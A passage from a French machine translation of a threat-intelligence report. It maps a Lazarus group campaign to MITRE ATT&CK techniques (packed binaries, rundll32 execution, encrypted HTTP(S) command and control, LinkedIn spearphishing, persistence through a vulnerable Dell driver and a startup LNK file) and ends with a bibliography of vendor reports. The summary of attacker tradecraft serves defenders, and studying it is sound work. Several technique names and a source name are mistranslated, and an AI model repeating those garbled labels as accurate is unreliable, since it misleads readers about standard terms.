T1027.002 Fichiers ou informations obscurcis : emballage du logiciel Lazarus utilise Themida et VMProtect pour obscurcir ses binaires
T1218.011 Exécution du proxy binaire système : Rundll32 Lazarus utilise rundll32.exe pour exécuter ses DLL malveillantes
Commander et contrôler T1071.001 Protocole de couche d'application : protocoles Web La porte dérobée HTTP(S) de Lazarus utilise HTTP et HTTPS pour communiquer avec ses serveurs C&C.
T1573.001 Canal crypté : cryptographie symétrique La porte dérobée HTTP(S) de Lazarus crypte le trafic C&C à l'aide de l'algorithme AES-128.
T1132.001 Codage des données : Codage standard Les charges utiles HTTP(S) de Lazarus encodent le trafic C&C à l'aide de l'algorithme base64.
exfiltration T1560.002 Archiver les données collectées : archiver via la bibliothèque Le téléchargeur HTTP(S) de Lazarus peut compresser les fichiers d'intérêt et les télécharger sur son C&C.
Développement des ressources T1584.004 Acquérir une infrastructure : serveur Des serveurs compromis ont été utilisés par toutes les portes dérobées, téléchargeurs et téléchargeurs HTTP(S) de Lazarus en tant que C&C.
Développer les capacités T1587.001 Malware Les outils personnalisés de l'attaque sont probablement développés par les attaquants. Certains présentent des capacités de développement de noyau très spécifiques vues précédemment dans les outils Lazarus.
Internationaux T1204.002 Exécution utilisateur : fichier malveillant La cible a été attirée pour ouvrir un document Word malveillant.
Accès initial T1566.003 Phishing : Spearphishing via le service La cible a été contactée via LinkedIn Messaging.
T1566.001 Hameçonnage : pièce jointe de harponnage La cible a reçu une pièce jointe malveillante.
Persistence T1547.006 Exécution de démarrage automatique de démarrage ou de connexion : modules et extensions du noyau Le BYOVD DBUtils_2_3.sys a été installé pour démarrer via le chargeur de démarrage (valeur Assistance dans l' Accueil clé sous HKLMSYSTEM‌CurrentControlSetServices.
T1547.001 Exécution de démarrage automatique au démarrage ou à l'ouverture de session : dossier de démarrage Le dropper du téléchargeur HTTP(S) crée un fichier LNK OneNoteTray.LNK dans le dossier de démarrage.

Bibliographie

Ahnlab. Rapport d'analyse sur l'attaque rootkit du groupe Lazarus à l'aide de BYOVD. Vers. 1.0. 22 septembre 2022. Extrait du AhnLab Security Emergency Response Center.

Ahnlab. (2021, 4 juin). Attaques APT contre des entreprises nationales utilisant des fichiers de bibliothèque. Récupéré du centre d'intervention d'urgence de sécurité d'AhnLab.

Ahnlab. (2022, 22 septembre). Rapport d'analyse sur l'attaque rootkit du groupe Lazarus à l'aide de BYOVD. Récupéré du centre d'intervention d'urgence de sécurité d'AhnLab.

Breitenbacher, D., & Kaspars, O. (2020, juin). Opération In(ter)ception : les entreprises aérospatiales et militaires dans le collimateur des cyberespions. Extrait de WeLiveSecurity.com.

Équipe de recherche ClearSky. (2020, 13 août). Campagne d'espionnage généralisée de l'opération "Dream Job" en Corée du Nord. Extrait de ClearSky.com.

Dekel, K. (nd). Recherche sur la sécurité des laboratoires Sentinel. CVE-2021-21551 - Des centaines de millions d'ordinateurs Dell menacés en raison de plusieurs failles d'escalade des privilèges du pilote BIOS. Extrait de SentinelOne.com.

ESET. (2021, 3 juin). Rapport ESET sur les menaces T 1 2021. Extrait de WeLiveSecurity.com.

Génial. (2016, 16 août). Le cadeau de l'équation. Extrait de SecureList.com.

HvS-Consulting AG. (2020, 15 décembre). Salutations de Lazarus : Anatomie d'une campagne de cyberespionnage. Extrait de hvs-consulting.de.

Cherepanov, A., & Kálnai, P. (2020, novembre). Attaque de la chaîne d'approvisionnement de Lazarus en Corée du Sud. Extrait de WeLiveSecurity.com.

Kalnai, P. (2017, 2 17). Démystifier les logiciels malveillants ciblés utilisés contre les banques polonaises. (ESET) Extrait de WeLiveSecurity.com.

Kopeytsev, V., & Park, S. (2021, février). Lazarus cible l'industrie de la défense avec ThreatNeedle. (Kaspersky Lab) Extrait de SecureList.com.

Lee, T.-w., Dong-wook et Kim, B.-j. (2021). Opération BookCode – Cibler la Corée du Sud. Bulletin de virus. hôte local. Récupéré de vblocalhost.com.

Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M. et Gupta, Y. (2022 septembre 14). Il est temps de masticer ! Hameçonnage d'opportunités d'emploi en RPDC via WhatsApp. Extrait de Mandiant.com.

Tomonaga, S. (2020, 29 septembre). BLINDINGCAN – Malware utilisé par Lazarus. (JPCERT/CC) Extrait de blogs.jpcert.or.jp.

US-CERT CISA. (2020, 19 août). MAR-10295134-1.v1 - Cheval de Troie d'accès à distance nord-coréen : BLINDINGCAN. (CISA) Extrait de cisa.gov.

Weidemann, A. (2021, 1 25). Nouvelle campagne ciblant les chercheurs en sécurité. (Google Threat Analysis Group) Extrait de blog.google.

En ligneWu, H. (2008). Le chiffrement de flux HC-128. Dans M. Robshaw , & O. Billet , Nouvelles conceptions de chiffrement de flux (Vol. 4986). Berlin, Heidelberg : Springer. Extrait de doi.org.

spot_img

Dernières informations

spot_img

Discutez avec nous

Salut! Comment puis-je t'aider?